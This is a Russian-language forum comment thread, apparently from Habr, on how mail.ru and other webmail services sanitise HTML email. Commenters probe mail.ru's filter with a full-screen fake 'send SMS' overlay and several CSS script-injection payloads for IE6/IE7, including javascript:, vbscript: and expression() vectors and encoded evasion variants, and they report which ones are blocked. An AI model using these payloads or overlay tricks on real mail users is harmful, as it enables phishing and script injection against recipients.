Особенности обработки HTML-писем

[kafeman]

Нет почты на mail.ru, по этому не могу проверить. Что будет если

<b style="display:block;position:absolute;left:0;top:0;width:100%;height:100%;background-color:red;font-size:36px;">Отправьте SMS на короткий номер...</b>

Ведь все стили проходят, если я правильно понял?

[ertaquo]

Пока удалось обнаружить, что под запрет попадает position: absolute.

[kafeman]

Это было добавлено уже после, см. обсуждение ниже ↓

[artyom_256]

Вот результат:
<b style="display:block;;width:100%;height:100%;background-color:red;font-size:36px;" id="mailru-webagent-gen-43">Отправьте SMS на короткий номер...</b>
Да, positon: absolute, и всё что с ним связано не пропускает.

[kafeman]

В таком случае поправьте топик — фильтрация стилей в mail.ru все-таки есть.

[artyom_256]

Поправил.

[artyom_256]

Mail.ru обрабатывает теги по принципу «всё разрешено, что явно не запрещено».
Yandex.ru и Gamil.com — по принцпу «всё запрещено, что явно не разрешено».

Пробовал подставлять несуществующие правила css, mail.ru их пропускает.

[artyom_256]

<div background="http://***/templates/default/images/background.png" style="min-height:100px;background-color:#e1e1e4;background:url('http://***/templates/default/images/background.png') 50% 50% fixed no-repeat;color:#fff;font-family:Calibri;font-size:14px;line-height:1.22">

Это со страницы письма. Тема у меня стоит.

[kafeman]

У кого есть IE6 и почта на mail.ru пробуем еще так:

<b style="background-image:url(javascript:alert('HabraHabr'))">Ха-ха-ха!</b>

Или так: (должно работать и в IE7)

<b style="width:expression(alert('HabraHabr'));">Ха-ха!!!</b>

[artyom_256]

В IETester, режим IE6, под письмом:

ВНИМАНИЕ!
Данное письмо содержит потенциально опасный HTML-код, заблокированный системой безопасности.
Возможно, оно отображается неправильно.

[artyom_256]

javascript:*** не пропускает система безопасности.

[kafeman]

OK, пробуем так:

<b style="background-image:url(&#1;JaVaScRiPt:AlErT('Habr'))">qwerty</b>

Или так:

<b style="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">test</b>

Прошу прощения, что засоряю комментарии к топику.

[naum]

Выложите скрипт, давайте пошерстим интересные варианты, ибо особенность mail.ru не может не радовать с точки зрения возможных косяков.

[artyom_256]

Скрипт простейший. Я использую PHPMailer, просто отправляю через него письмо. Что-то вроде этого:

$users = array(...); foreach($emails as $email) { try{ $mail = new PHPMailer(true); $mail->AddAddress($email); $mail->SetFrom('[e-mail]', 'I am'); $mail->Subject = $title; $mail->MsgHTML(file_get_contents('mail.html')); $mail->CharSet = 'utf-8'; $mail->IsHTML(true); $mail->Send(); }catch(Exception $e){} }

[artyom_256]

Извиняюсь)

$users = array(...);

foreach($emails as $email)
{
try{
$mail = new PHPMailer(true);
$mail->AddAddress($email);
$mail->SetFrom('[e-mail]', 'I am');
$mail->Subject = $title;
$mail->MsgHTML(file_get_contents('mail.html'));
$mail->CharSet = 'utf-8';
$mail->IsHTML(true);
$mail->Send();
}catch(Exception $e){}
}

[kafeman]

Ах да, чуть не забыл! vbscript же есть :-)

Не уверен, что будет работать, но попробовать стоит:

<b style="background-image:url(vbscript:msgbox('HabraHabr'))">Ха-ха-ха!</b>

[valodka]

В Mail.ru вырезаются тег <style>, атрибут class и атрибуты событий (onclick, onload и т.д.). Из атрибута style вырезаются все правила, связанные с позиционированием. К тому же у блока, в котором отображается тело письма, применено свойство overflow, поэтому «выйти» за пределы контейнера и перекрыть элементы интерфейся вряд ли получится.